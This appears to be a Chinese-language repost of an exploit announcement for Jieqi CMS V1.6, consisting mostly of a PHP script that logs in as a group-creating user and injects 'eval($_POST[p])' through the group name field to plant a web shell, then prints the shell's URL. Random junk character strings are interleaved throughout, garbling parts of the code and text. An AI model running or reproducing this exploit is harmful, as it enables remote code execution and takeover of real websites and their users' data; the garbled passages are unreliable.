Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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! |! W  ?$ m- ?% W该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
, s. S! }! _3 B5 u  p 需要有一个能创建圈子的用户。
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! P/ B$ X: k/ p( t/ _$ D8 q+ _<?php

print_r('
+---------------------------------------------------------------------------+
8 N, K* A% A( _6 y- sJieqi CMS V1.6 PHP Code Injection Exploit
2 W8 E; G6 Z* Y9 L1 U& v8 dby flyh4t
* Y7 \, R  |+ m, `  g2 ?8 Dmail: phpsec at hotmail dot com
  k3 K" ?- U6 ]7 Xteam: http://www.wolvez.org
+---------------------------------------------------------------------------+
2 |3 w7 {, J2 x'); /**
: t6 C8 z9 ^# U  @* c * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
  K; N- j7 i( N* I7 G9 v2 s! ?3 t) f" {Usage: php '.$argv[0].' host path username
) d  c% [5 A0 Khost:      target server (ip/hostname)
path:      path to jieqicms
0 H* O( z  G& ^3 U- F/ guasename:  a username who can create group
Example:
( v+ }7 g3 Z( d- N$ N' nphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

7 _- j' s5 V& f2 ]2 T; _'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

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-----------------------------23281168279961
9 q2 B, f0 Q& EContent-Disposition: form-data; name="gaudit"
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1
" s( V# A; L1 q5 F-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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; p: l( n4 Z8 C-----------------------------23281168279961--
1 B( u* R  ~0 u'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

( W1 H' f# d8 P1 X7 ]4 Xpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;